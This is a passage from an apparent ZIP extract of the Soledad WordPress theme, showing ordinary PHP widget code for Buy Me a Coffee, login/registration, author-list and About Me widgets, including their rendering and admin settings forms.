2.58602 6.74978 2.5668 6.78431 2.55914H6.79077C7.08735 2.49595 7.38624 2.44199 7.68605 2.39494C7.78599 2.37926 7.88623 2.36388 7.98679 2.34881H7.98955C8.17728 2.33636 8.36593 2.30269 8.55274 2.28055C10.178 2.11149 11.813 2.05386 13.4461 2.10804C14.239 2.13111 15.0314 2.17769 15.8206 2.25795C15.9903 2.27548 16.1592 2.29393 16.328 2.31468C16.3926 2.32252 16.4576 2.33175 16.5226 2.33959L16.6536 2.3585C17.0355 2.41539 17.4154 2.48442 17.7934 2.5656C18.3533 2.68737 19.0724 2.72704 19.3215 3.3405C19.4008 3.53514 19.4368 3.75147 19.4806 3.9558L19.5364 4.2164C19.5379 4.22108 19.5389 4.22586 19.5396 4.2307C19.6716 4.8457 19.8036 5.46069 19.9359 6.07569C19.9455 6.12112 19.9458 6.16806 19.9365 6.21359C19.9273 6.25911 19.9087 6.30224 19.8821 6.34028C19.8554 6.37832 19.8212 6.41046 19.7816 6.4347C19.7419 6.45893 19.6977 6.47474 19.6517 6.48113H19.648L19.5673 6.4922L19.4875 6.50281C19.2348 6.53571 18.9817 6.56646 18.7283 6.59506C18.2292 6.65194 17.7294 6.70114 17.2288 6.74265C16.234 6.82537 15.2373 6.87965 14.2385 6.90548C13.7296 6.919 13.2209 6.92531 12.7123 6.92439C10.6878 6.92279 8.66519 6.80513 6.65424 6.57199C6.43653 6.54616 6.21883 6.51849 6.00112 6.49035C6.16993 6.51203 5.87843 6.47375 5.81939 6.46545C5.68101 6.44607 5.54264 6.42593 5.40426 6.40502C4.93979 6.33537 4.47808 6.24958 4.01453 6.1744C3.45411 6.08215 2.91814 6.12827 2.41123 6.40502C1.99513 6.63272 1.65836 6.98188 1.44584 7.40593C1.22721 7.85795 1.16217 8.3501 1.06439 8.8358C0.966604 9.32149 0.814392 9.84408 0.872048 10.3427C0.996123 11.4188 1.74842 12.2933 2.8305 12.4889C3.84848 12.6734 4.87198 12.8228 5.89826 12.9501C9.9297 13.4439 14.0025 13.5029 18.0466 13.1263C18.3759 13.0956 18.7048 13.062 19.0332 13.0258C19.1358 13.0145 19.2396 13.0263 19.337 13.0604C19.4344 13.0944 19.523 13.1498 19.5962 13.2225C19.6694 13.2952 19.7255 13.3834 19.7602 13.4805C19.795 13.5777 19.8075 13.6814 19.797 13.7841L19.6946 14.7794C19.4883 16.7908 19.282 18.802 19.0756 20.813C18.8604 22.9249 18.6437 25.0366 18.4257 27.1482C18.3642 27.7429 18.3027 28.3375 18.2412 28.9319C18.1822 29.5172 18.1739 30.121 18.0627 30.6994C17.8875 31.609 17.2717 32.1675 16.3732 32.3719C15.55 32.5592 14.7091 32.6575 13.8649 32.6652C12.929 32.6703 11.9936 32.6288 11.0578 32.6338C10.0587 32.6394 8.83502 32.5471 8.06381 31.8036C7.38624 31.1505 7.29261 30.1279 7.20036 29.2437C7.07736 28.073 6.95544 26.9025 6.83459 25.7322L6.15656 19.2245L5.71791 15.0137C5.71053 14.9441 5.70315 14.8754 5.69623 14.8053C5.64365 14.303 5.28803 13.8113 4.72761 13.8366C4.24792 13.8579 3.70272 14.2656 3.759 14.8053L4.08417 17.927L4.75667 24.3844C4.94824 26.2187 5.13935 28.0532 5.33 29.888C5.3669 30.2395 5.40149 30.5919 5.44024 30.9434C5.65103 32.864 7.11779 33.899 8.93419 34.1906C9.99506 34.3612 11.0818 34.3963 12.1583 34.4138C13.5384 34.4359 14.9322 34.489 16.2897 34.239C18.3012 33.87 19.8104 32.5268 20.0258 30.4434C20.0873 29.8419 20.1488 29.2403 20.2103 28.6385C20.4148 26.6484 20.619 24.6581 20.8228 22.6677L21.4898 16.1641L21.7956 13.1835C21.8108 13.0357 21.8733 12.8968 21.9736 12.7872C22.0739 12.6776 22.2069 12.6033 22.3528 12.5751C22.928 12.463 23.4778 12.2716 23.8869 11.8339C24.5382 11.137 24.6678 10.2283 24.4376 9.31226ZM2.80098 9.95524C2.80975 9.95109 2.7936 10.0263 2.78669 10.0613C2.7853 10.0083 2.78807 9.96124 2.80098 9.95524ZM2.8568 10.387C2.86141 10.3837 2.87524 10.4022 2.88954 10.4243C2.86786 10.404 2.85403 10.3888 2.85633 10.387H2.8568ZM2.91168 10.4594C2.93152 10.4931 2.94213 10.5143 2.91168 10.4594V10.4594ZM3.02192 10.5489H3.02469C3.02469 10.5521 3.02976 10.5553 3.03161 10.5586C3.02855 10.555 3.02515 10.5518 3.02146 10.5489H3.02192ZM22.326 10.4151C22.1194 10.6116 21.8081 10.7029 21.5004 10.7486C18.0503 11.2606 14.5499 11.5198 11.0619 11.4054C8.56565 11.3201 6.09567 11.0429 3.62431 10.6937C3.38215 10.6596 3.11971 10.6153 2.9532 10.4368C2.63955 10.1001 2.7936 9.42204 2.87524 9.01522C2.94997 8.64253 3.09295 8.14577 3.53621 8.09272C4.22808 8.01155 5.03158 8.30352 5.71607 8.4073C6.54016 8.53306 7.36733 8.63377 8.19758 8.70941C11.7409 9.03229 15.3437 8.98201 18.8713 8.50969C19.5143 8.42329 20.1549 8.32289 20.7933 8.2085C21.362 8.10656 21.9926 7.91515 22.3362 8.50416C22.5719 8.90544 22.6033 9.44233 22.5668 9.89574C22.5556 10.0933 22.4693 10.2791 22.3256 10.4151H22.326Z"
                              fill="black"></path>
                    </svg>
                </a>

				<?php
				if ( ! empty( $instance['secondary_text'] ) ) {
					echo '<h4>' . $instance['secondary_text'] . '</h4>';
				}
				?>

                <a href="https://www.buymeacoffee.com/<?php echo $username ?>" rel="external noopener nofollow"
                   target="_blank" class="button">
                    <span><?php echo esc_html( $button_text ) ?></span>
                </a>
            </div>
			<?php

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'          => esc_html__( 'Buy Me a Coffee', 'soledad' ),
				'button_text'    => '',
				'secondary_text' => '',
				'username'       => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$title          = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$username       = isset( $instance['username'] ) ? $instance['username'] : '';
			$button_text    = isset( $instance['button_text'] ) ? $instance['button_text'] : '';
			$secondary_text = isset( $instance['secondary_text'] ) ? $instance['secondary_text'] : '';
			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $title ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"><?php esc_html_e( 'Username', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'username' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'username' ) ); ?>"
                       value="<?php echo esc_attr( $username ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'button_text' ) ); ?>"><?php esc_html_e( 'Button Text', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'button_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'button_text' ) ); ?>"
                       value="<?php echo esc_attr( $button_text ); ?>" class="widefat" type="text"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'secondary_text' ) ); ?>"><?php esc_html_e( 'Secondary Text', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'secondary_text' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'secondary_text' ) ); ?>"
                       value="<?php echo esc_attr( $secondary_text ); ?>" class="widefat" type="text"/>
            </p>

			<?php
		}
	}
}
?>
PK     N\,*  ,*  &  inc/widgets/login_register_widgets.phpnu [        <?php
add_action( 'widgets_init', 'penci_login_register_load_widget' );

function penci_login_register_load_widget() {
	register_widget( 'Penci_Login_Register_Widget' );
}

if ( ! class_exists( 'Penci_Login_Register_Widget' ) ) {
	class Penci_Login_Register_Widget extends WP_Widget {

		protected $defaults;

		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_login_register_widget',
				'description' => esc_html__( 'A widget that displays a login or register widget', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_login_register_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_login_register_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Login/Register', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_login_register_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'Login/Register', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title     = isset( $instance['title'] ) ? $instance['title'] : '';
			$title     = apply_filters( 'widget_title', $title );
			$form_type = isset( $instance['form_style'] ) ? $instance['form_style'] : '';

			if ( ! is_user_logged_in() || ( $form_type != 'register' && is_user_logged_in() ) ) {
				echo ent2ncr( $before_widget );
				if ( $title ) {
					echo( $before_title . $title . $after_title );
				}

				$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
				?>
                <div class="penci-login-register">
                    <div class="penci-block_content">
                        <div class="penci-login-wrap penci-user-login clearfix<?php echo( 'login' != $form_type ? ' hidden' : '' ); ?>">
							<?php
							if ( ! is_user_logged_in() ) {
								\Penci_Vc_Helper::_login_form();
							} else {
								$current_user = wp_get_current_user();
								?>
                                <div class="penci-user-logged-in">
                                    <div class="penci-login-header">
                                        <div class="penci-login-avatar">
											<?php echo get_avatar( $current_user->ID, 85 ); ?>
                                        </div>
                                        <p>
                                            <span class="penci-text-hello"><?php echo penci_get_setting( 'penci_trans_hello_text' ); ?></span>
                                            <span class="penci-display_name"><?php echo $current_user->display_name; ?></span>
                                        </p>
                                    </div>
                                    <div class="penci-user-action-links">
										<?php
										if ( class_exists( 'bbpress' ) ) {
											$profile_url = bbp_get_user_profile_url( bbp_get_current_user_id() );
										} else {
											$profile_url = get_edit_user_link();
										}
										?>
                                        <a class="penci-button penci-button-ptofile"
                                           href="<?php echo $profile_url; ?>"><?php penci_fawesome_icon( 'far fa-user-circle' ); ?><?php echo penci_get_setting( 'penci_trans_profile_text' ); ?></a>
                                        <a class="penci-button penci-button-logout"
                                           href="<?php echo wp_logout_url( $current_url ); ?>"><?php penci_fawesome_icon( 'fas fa-sign-out-alt' ); ?><?php echo penci_get_setting( 'penci_trans_logout_text' ); ?></a>
                                    </div>
                                </div>
								<?php
							}
							?>
                        </div>
						<?php if ( ! is_user_logged_in() && get_option( 'users_can_register' ) ) { ?>
                            <div class="penci-register-wrap clearfix<?php echo( 'register' != $form_type ? ' hidden' : '' ); ?>">
                                <div class="penci-register-container">
                                    <form name="form" id="penci-registration-form" class="penci-registration-form"
                                          action="<?php echo esc_url( site_url( 'wp-login.php?action=register', 'login_post' ) ); ?>"
                                          method="post" novalidate="novalidate">
                                        <input type="hidden" name="_wpnonce" class="penci_form_nonce"
                                               value="<?php echo wp_create_nonce( 'register' ); ?>">
                                        <p class="register-input">
                                            <input class="penci_first_name penci-input" name="penci_first_name"
                                                   type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_first_name' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_last_name penci-input" name="penci_last_name"
                                                   type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_last_name' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_user_name penci-input" name="penci_user_name"
                                                   type="text"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_user_name' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_user_email penci-input" name="penci_user_email"
                                                   type="email"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_user_email' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_user_pass penci-input" name="penci_user_pass"
                                                   type="password"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_user_pass' ); ?>"/>
                                        </p>
                                        <p class="register-input">
                                            <input class="penci_user_pass_confirm penci-input"
                                                   name="penci_user_pass_confirm" type="password"
                                                   placeholder="<?php echo penci_get_setting( 'penci_pregister_pass_confirm' ); ?>"/>
                                        </p>
										<?php do_action( 'register_form' ); ?>
                                        <p class="register-input">
                                            <input type="submit" name="penci_submit" class="button"
                                                   value="<?php echo penci_get_setting( 'penci_pregister_button_submit' ); ?>"/>
                                        </p>
                                    </form>
									<?php
									echo '<div class="penci-loginform-extra"><a class="penci-user-login-here" href="' . esc_url( wp_login_url() ) . '">' . penci_get_setting( 'penci_pregister_label_registration' ) . '</a></div>';
									?>
                                </div>
                            </div>
						<?php } ?>
                        <div class="penci-loading-icon"><?php penci_fawesome_icon( 'fas fa-spinner fa-pulse fa-3x fa-fw' ); ?></div>
                    </div>
                </div>
				<?php

				echo ent2ncr( $after_widget );
			}
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'form_style' => 'login',
				'title'      => 'Login/Register'
			);

			return $defaults;
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults       = $this->soledad_widget_defaults();
			$instance       = wp_parse_args( (array) $instance, $defaults );
			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>

            <!-- Widget Title: Text Input -->
            <p class="description"
               style="padding: 0; margin: 20px 0 0; font-size: 13px;"><?php _e( 'Please note that when a user is logged in, the registration form will be hidden.<br>And if you select to show "Register" form, you need to go to Dashboard > Settings > General > on "Membership" select "Anyone can register" to make the Register form displays.', 'soledad' ); ?></p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'form_style' ) ); ?>">Choose Form Type:</label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'form_style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'form_style' ) ); ?>"
                        class="widefat categories" style="width:100%;">
                    <option value='login' <?php if ( 'login' == $instance['form_style'] ) {
						echo 'selected="selected"';
					} ?>>Login
                    </option>
                    <option value='register' <?php if ( 'register' == $instance['form_style'] ) {
						echo 'selected="selected"';
					} ?>>Register
                    </option>
                </select>
            </p>
			<?php
		}
	}
}
?>
PK     N\m'  '    inc/widgets/authors_list.phpnu [        <?php

add_action( 'widgets_init', 'penci_authors_list_load_widget' );

function penci_authors_list_load_widget() {
	register_widget( 'penci_authors_list_widget' );
}

if ( ! class_exists( 'penci_authors_list_widget' ) ) {
	class penci_authors_list_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_authors_list_widget',
				'description' => esc_html__( 'A widget that displays a list of site authors', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'width' => 250, 'height' => 350, 'id_base' => 'penci_authors_list_widget' );

			/* Create the widget. */ global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_authors_list_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Author List', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_authors_list_widget', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Author List', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title       = isset( $instance['title'] ) ? $instance['title'] : '';
			$title       = apply_filters( 'widget_title', $title );
			$role__in    = isset( $instance['role__in'] ) && $instance['role__in'] ? $instance['role__in'] : 'administrator';
			$exclude     = isset( $instance['exclude'] ) && $instance['exclude'] ? $instance['exclude'] : '';
			$avatar      = isset( $instance['avatar'] ) && $instance['avatar'] ? $instance['avatar'] : '';
			$ava_bd      = isset( $instance['ava_bd'] ) && $instance['ava_bd'] ? $instance['ava_bd'] : '';
			$ava_size    = isset( $instance['ava_size'] ) && $instance['ava_size'] ? $instance['ava_size'] : 75;
			$total_posts = isset( $instance['total_posts'] ) && $instance['total_posts'] ? $instance['total_posts'] : '';


			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo ent2ncr( $before_title ) . $title . ent2ncr( $after_title );
			}
			$users_args = [];

			if ( $role__in !== 'all' ) {
				$users_args['role__in'] = explode( ',', $role__in );
			}
			if ( $exclude ) {
				$users_args['exclude'] = explode( ',', $exclude );
			}
			$users = get_users( $users_args );
			if ( $users ) {
				?>
                <div class="pc-widget-user-lists">
                    <ul>
						<?php foreach ( $users as $user ):
							$total_post = count_user_posts( $user->ID );
							$author_link = get_author_posts_url( $user->ID );
							$text = $total_post > 1 ? penci_get_setting( 'penci_trans_posts' ) : penci_get_setting( 'penci_trans_post' );
							?>
                            <li>
								<?php if ( $avatar ): ?>
                                    <a class="pc-uw-ava"
                                       href="<?php echo esc_url( $author_link ); ?>"><?php echo get_avatar( $user->ID, $ava_size ); ?></a>
								<?php endif; ?>
                                <div class="pc-uw-userinfo">
                                    <h4 class="name"><a
                                                href="<?php echo esc_url( $author_link ); ?>"><?php echo esc_attr( $user->display_name ); ?></a>
                                    </h4>
									<?php if ( $total_posts ): ?>
                                        <span class="count"><?php echo $total_post . ' ' . $text; ?></span>
									<?php endif; ?>
                                </div>
                            </li>
						<?php endforeach; ?>
                    </ul>
                </div>
				<?php
			}
			$styles = [
				'ava_bd'   => [
					'border-radius' => '#' . $this->id . ' .pc-widget-user-lists img'
				],
				'ava_size' => [
					'width' => '#' . $this->id . ' .pc-widget-user-lists .pc-uw-ava',
				]
			];

			$out = '';

			foreach ( $styles as $option => $selectors ) {
				$value = isset( $instance[ $option ] ) ? $instance[ $option ] : '';
				if ( $value ) {
					foreach ( $selectors as $prop => $selector ) {
						$prefix = in_array( $prop, [ 'width', 'height' ] ) ? 'px' : '';
						$out    .= $selector . '{' . $prop . ':' . $value . $prefix . '}';
					}
				}
			}

			if ( $out ) {
				echo '<style>' . $out . '</style>';
			}


			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance      = $old_instance;
			$data_instance = $this->soledad_widget_defaults();
			foreach ( $data_instance as $data => $value ) {


				if ( 'role__in' == $data ) {

					if ( ! empty( $new_instance['role__in'] ) ) {
						if ( is_array( $new_instance['role__in'] ) ) {
							$instance['role__in'] = implode( ',', $new_instance['role__in'] );
						} else {
							$instance['role__in'] = esc_sql( $new_instance['role__in'] );
						}
					} else {
						$instance['role__in'] = false;
					}
				} else {
					$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
				}
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			return array(
				'title'       => esc_html__( 'Author Lists', 'soledad' ),
				'role__in'    => 'administrator',
				'exclude'     => '',
				'avatar'      => true,
				'total_posts' => true,
				'ava_bd'      => '',
				'ava_size'    => '',
			);
		}


		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			$role__in       = isset( $instance['role__in'] ) ? explode( ',', $instance['role__in'] ) : [];
			?>

            <!-- Widget Title: Text Input -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo $instance_title; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'role__in' ) ); ?>"><?php esc_html_e( 'Include User Roles:', 'soledad' ); ?></label>
                <select multiple="multiple" id="<?php echo esc_attr( $this->get_field_id( 'role__in' ) ); ?>[]"
                        name="<?php echo esc_attr( $this->get_field_name( 'role__in' ) ); ?>[]"
                        class="widefat categories" style="width:100%; height: 125px;">
                    <option value='all' <?php if ( in_array( 'all', $role__in ) ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'All User Roles', 'soledad' ); ?></option>
					<?php
					$wp_roles = new WP_Roles();
					if ( ! empty( $wp_roles ) ) {
						foreach ( $wp_roles->roles as $role_name => $role_info ) {
							?>
                            <option value='<?php echo esc_attr( $role_name ); ?>' <?php if ( in_array( $role_name, $role__in ) ) {
								echo 'selected="selected"';
							} ?>><?php echo sanitize_text_field( $role_info['name'] ); ?></option>
						<?php }
					} ?>
                </select>
                <span class="description"
                      style="padding-left: 0;"><?php _e( 'Hold the "Ctrl" on the keyboard and click to select/un-select multiple user roles.', 'soledad' ); ?></span>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"><?php esc_html_e( 'Exclude User IDs (Separate by comma):', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'exclude' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'exclude' ) ); ?>"
                       value="<?php echo $instance['exclude']; ?>"/>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'avatar' ) ); ?>"><?php esc_html_e( 'Show the user Avatar?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'avatar' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'avatar' ) ); ?>" <?php checked( (bool) $instance['avatar'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'total_posts' ) ); ?>"><?php esc_html_e( 'Show the user posts count?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'total_posts' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'total_posts' ) ); ?>" <?php checked( (bool) $instance['total_posts'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ava_size' ) ); ?>">Avatar Size (Numberis
                    only)</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'ava_size' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ava_size' ) ); ?>"
                       value="<?php echo $instance['ava_size']; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ava_bd' ) ); ?>">Avatar Border Radius (Example:
                    75px or 50%)</label>
                <input type="text" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'ava_bd' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ava_bd' ) ); ?>"
                       value="<?php echo $instance['ava_bd']; ?>">
            </p>

			<?php
		}
	}
}
?>
PK     N\a:6  :6    inc/widgets/about_widget.phpnu [        <?php
/**
 * About me widget
 * Display your information on footer or sidebar
 *
 * @package Wordpress
 * @since   1.0
 */

add_action( 'widgets_init', 'penci_about_load_widget' );

function penci_about_load_widget() {
	register_widget( 'penci_about_widget' );
}

if ( ! class_exists( 'penci_about_widget' ) ) {
	class penci_about_widget extends WP_Widget {

		/**
		 * Widget setup.
		 */
		function __construct() {
			/* Widget settings. */
			$widget_ops = array(
				'classname'   => 'penci_about_widget',
				'description' => esc_html__( 'A widget that displays an About widget', 'soledad' )
			);

			/* Widget control settings. */
			$control_ops = array( 'id_base' => 'penci_about_widget' );

			/* Create the widget. */
			global $wp_version;
			if ( 4.3 > $wp_version ) {
				$this->WP_Widget( 'penci_about_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'About Me', 'soledad' ), $widget_ops, $control_ops );
			} else {
				parent::__construct( 'penci_about_widget', penci_get_theme_name('.Soledad',true).esc_html__( 'About Me', 'soledad' ), $widget_ops, $control_ops );
			}
		}

		/**
		 * How to display the widget on the screen.
		 */
		function widget( $args, $instance ) {
			extract( $args );

			/* Our variables from the widget settings. */
			$title         = isset( $instance['title'] ) ? $instance['title'] : '';
			$title         = apply_filters( 'widget_title', $title );
			$align         = isset( $instance['align'] ) ? $instance['align'] : '';
			$image         = isset( $instance['image'] ) ? $instance['image'] : '';
			$circle        = isset( $instance['circle'] ) ? $instance['circle'] : '';
			$lazyload      = isset( $instance['lazyload'] ) ? $instance['lazyload'] : '';
			$imageurl      = isset( $instance['imageurl'] ) ? $instance['imageurl'] : '';
			$target        = isset( $instance['target'] ) ? $instance['target'] : '';
			$imagemaxwidth = isset( $instance['imagemaxwidth'] ) ? $instance['imagemaxwidth'] : '';
			$heading       = isset( $instance['heading'] ) ? $instance['heading'] : '';
			$description   = isset( $instance['description'] ) ? $instance['description'] : '';
			$fheading      = isset( $instance['fheading'] ) ? absint( $instance['fheading'] ) : '';
			$fdesc         = isset( $instance['fdesc'] ) ? absint( $instance['fdesc'] ) : '';

			/* Before widget (defined by themes). */
			echo ent2ncr( $before_widget );

			/* Display the widget title if one was input (before and after defined by themes). */
			if ( $title ) {
				echo( $before_title . $title . $after_title );
			}

			$inline_style      = '';
			$open_image        = '';
			$close_image       = '';
			$target_html       = '';
			$inline_style_html = '';

			if ( $circle ):
				$inline_style .= 'border-radius: 50%; -webkit-border-radius: 50%;';
			endif;
			if ( $imagemaxwidth ):
				$inline_style .= 'max-width: ' . $imagemaxwidth . 'px !important;';
			endif;
			if ( $inline_style ) {
				$inline_style_html = ' style="' . $inline_style . '"';
			}
			if ( $imageurl ):
				if ( $target ): $target_html = ' target="_blank"'; endif;
				$open_image  = '<a href="' . do_shortcode( $imageurl ) . '"' . $target_html . '>';
				$close_image = '</a>';
			endif;
			$rand        = rand( 1000, 10000 );
			$image_width = $image_height = '';
			?>
            <div id="penci-aboutmewg-<?php echo $rand; ?>"
                 class="about-widget<?php if ( $align ): echo ' ' . $align; endif; ?>">
				<?php if ( $image ) :
					$image_width = penci_get_image_data_basedurl( $image, 'w' );
					$image_height = penci_get_image_data_basedurl( $image, 'h' );
					?>
					<?php echo $open_image; ?>
					<?php if ( ! $lazyload ) { ?>
                    <img class="penci-widget-about-image nopin penci-lazy" nopin="nopin"
                         width="<?php echo $image_width; ?>" height="<?php echo $image_height; ?>"
                         src="<?php echo penci_holder_image_base( $image_width, $image_height ); ?>"
                         data-src="<?php echo esc_url( $image ); ?>"
                         alt="<?php echo esc_attr( $title ); ?>"<?php echo $inline_style_html; ?>/>
				<?php } else { ?>
                    <img class="penci-widget-about-image nopin" nopin="nopin" width="<?php echo $image_width; ?>"
                         height="<?php echo $image_height; ?>" src="<?php echo esc_url( $image ); ?>"
                         alt="<?php echo esc_attr( $title ); ?>"<?php echo $inline_style_html; ?>/>
				<?php } ?>
					<?php echo $close_image; ?>
				<?php endif; ?>

				<?php if ( $heading ) : ?>
                    <h2 class="about-me-heading"><?php echo do_shortcode( $heading ); ?></h2>
				<?php endif; ?>

				<?php if ( $description ) : ?>
                    <div class="about-me-desc"><p><?php echo do_shortcode( $description ); ?></p></div>
				<?php endif; ?>

            </div>
			<?php
			$attrstyle = '';
			if ( $fheading ) {
				$attrstyle .= '#penci-aboutmewg-' . $rand . ' .about-me-heading{ font-size: ' . $fheading . 'px; }';
			}
			if ( $fdesc ) {
				$attrstyle .= '#penci-aboutmewg-' . $rand . ' .about-me-desc, #penci-aboutmewg-' . $rand . ' .about-me-desc p{ font-size: ' . $fdesc . 'px; }';
			}

			if ( $attrstyle ) {
				echo '<style type="text/css">' . $attrstyle . '</style>';
			}

			/* After widget (defined by themes). */
			echo ent2ncr( $after_widget );
		}

		/**
		 * Update the widget settings.
		 */
		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			return $instance;
		}

		public function soledad_widget_defaults() {
			$defaults = array(
				'title'         => 'About Me',
				'align'         => '',
				'fheading'      => '',
				'fdesc'         => '',
				'image'         => '',
				'circle'        => '',
				'imagemaxwidth' => '',
				'lazyload'      => '',
				'imageurl'      => '',
				'target'        => '',
				'heading'       => '',
				'description'   => ''
			);

			return $defaults;
		}

		function form( $instance ) {

			/* Set up some default widget settings. */
			$defaults = $this->soledad_widget_defaults();
			$instance = wp_parse_args( (array) $instance, $defaults );

			$instance_title = $instance['title'] ? str_replace( '"', '&quot;', $instance['title'] ) : '';
			?>
